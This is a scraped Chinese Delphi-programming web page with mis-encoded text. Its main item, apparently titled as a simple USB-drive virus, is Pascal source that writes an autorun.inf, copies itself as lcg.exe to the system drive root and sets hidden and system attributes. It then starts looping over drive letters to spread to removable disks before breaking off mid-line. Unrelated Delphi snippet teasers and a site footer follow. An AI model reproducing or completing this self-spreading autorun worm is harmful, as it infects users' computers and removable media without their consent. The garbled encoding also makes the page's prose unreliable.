Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

Delphi¼òµ¥UÅÌ´«È¾²¡¶¾

program Project1;
{$APPTYPE CONSOLE}
uses
   windows, Tlhelp32,   SysUtils;
//===========================»ñµÃϵͳĿ¼=======================================
function GetWinDir: string;
var
   Buf: array[0..MAX_PATH] of char;
begin
   GetSystemDirectory(Buf, MAX_PATH);
   Result := Buf;
   if Result[Length(Result)] <> '\' then Result := Result + '\';
end;
//================================end===========================================
//=======================¸´ÖÆÎļþ========begin==================================
procedure copyfilecopyfile;
var
s,s1,s2,s3:string;
i:char;
inf:textfile;
begin
//========================´´½¨autorun.infÎļþ===================================
begin
s:=ExpandFileName(ParamStr(0));    //»ñÈ¡±¾³ÌÐòµÄÍêÕû·¾¶
s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';
FileSetAttr(s,0);
FileSetAttr(s1,0);
assignfile(inf, 'Autorun.inf');
rewrite(inf);
writeln(inf, '[AutoRun]');
writeln(inf, '');
writeln(inf, 'open=lcg.exe');
writeln(inf, 'shell\open=´ò¿ª(&O)');
writeLn(inf, 'shell\open\Command=lcg.exe');
writeln(inf, 'shell\open\Default=1');
writeln(inf, 'shell\explore=×ÊÔ´¹ÜÀíÆ÷(&X)');
writeln(inf, 'shell\explore\Command=lcg.EXE');
closefile(inf);
end;
//=====================================end======================================
//=============================½«Îļþ¸´ÖƵ½ÏµÍ³ÅÌ·ûÏÂ===========================
    s2:=copy(getwindir,1,1);
    s3:=pchar(s2+':\autorun.inf');
    s2:=pchar(s2+':\lcg.exe');
    copyfile(pchar(s),pchar(s2),false);
    copyfile(pchar(s1),pchar(s3),false);
    FileSetAttr(s2,7);
    FileSetAttr(s3,7);
//==================================end=========================================
//=============================½«Îļþ¸´ÖƵ½¿ÉÒÆ¶¯´ÅÅÌ===========================
for i:='C' to 'Z' do
if GET


Ïà¹ØÎĵµ£º

delphi ½«ºº×Ö·­Òë³ÉÆ´ÒôËõдµÄº¯Êý½éÉÜ

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
 &n ......

Delphi TObjectʵÏÖÁËÒ»¸öInstanceSize()·½·¨


unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    Button2: TButton;
    procedure Butt ......

¸ÄÔìDelphiµÄTStringHash³É±È½ÏͨÓõĹþÏ£±í

ÓÐʱºòÎÒÃÇÐèÒª¿ÉÒÔ¸ßËÙ¼ìË÷µÄÁÐ±í£¬×ÔÈ»»áÏëµ½¹þÏ£±í£¬Æ½Ê±ÎÒÃÇ¿ÉÄÜÏëµ½ÓÃIniFilesµ¥ÔªÀïµÄTHashedStringList£¬µ« THashedStringListÿ´ÎÐÂÔöÒ»¸öItemºó¶¼ÐèҪˢÐÂÒ»±é£¬Êý¾Ý¶àÁË¿ÉÄÜ»áÓеãÂý£¬¸Ð¾õ²»Ì«ºÃ£¬¶øTStringHashÔòÖ»ÄÜ´æ IntegerÐ͵Ä(ËäÈ»ÎÒÃÇ¿ÉÒ԰ѱðµÄ¶«Î÷Ç¿ÖÆ×ª³ÉÕûÐÍ´æ½øÈ¥£¬µ«¸Ð¾õ²»Ì«ºÃ)¡£TStringHashÒѾ­Ê ......

DelphiÖÐʵÏÖ³ÌÐòµÄÑÓʱµÄ·½·¨

ÔÚDelphiÖУ¬Í¨³£¿ÉÒÔÓÃÒÔÏÂÈýÖÖ·½·¨À´ÊµÏÖ³ÌÐòµÄÑÓʱ£¬¼´TTtimer¿Ø¼þ£¬Sleepº¯Êý£¬GetTickCountº¯Êý¡£µ«ÊÇÆä¾«¶ÈÊǸ÷²»ÏàͬµÄ¡£
Ò»¡¢ÈýÖÖ·½·¨µÄ¼òµ¥½éÉÜ
1£©TTtimer¿Ø¼þ
¡¡¡¡TTtimer¿Ø¼þµÄʵÖÊÊǵ÷ÓÃWindows API¶¨Ê±º¯ÊýSetTimerºÍKillTimerÀ´ÊµÏֵ쬲¢¼ò»¯Á˶ÔWM_TIMER ÏûÏ¢µÄ´¦Àí¹ý³Ì¡£Í¨¹ýÉèÖÃOnTimerÊÂ
¼þºÍInte ......

DelphiѹËõͼƬ´úÂë

Ìí¼ÓÒýÓãºuses JPEG;
//=====================ͼƬ´¦Àíº¯Êý£¬½«¸²¸ÇԭͼƬÎļþ===========================
//=====filename:ͼƬÍêÕû·¾¶  PressQuality:ѹËõÖÊÁ¿ Width:¿í  Height:¸ß
function CompressMainFun(filename: String; PressQuality,Width,Height:integer): Boolean;
var
  bmp: TBitmap ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ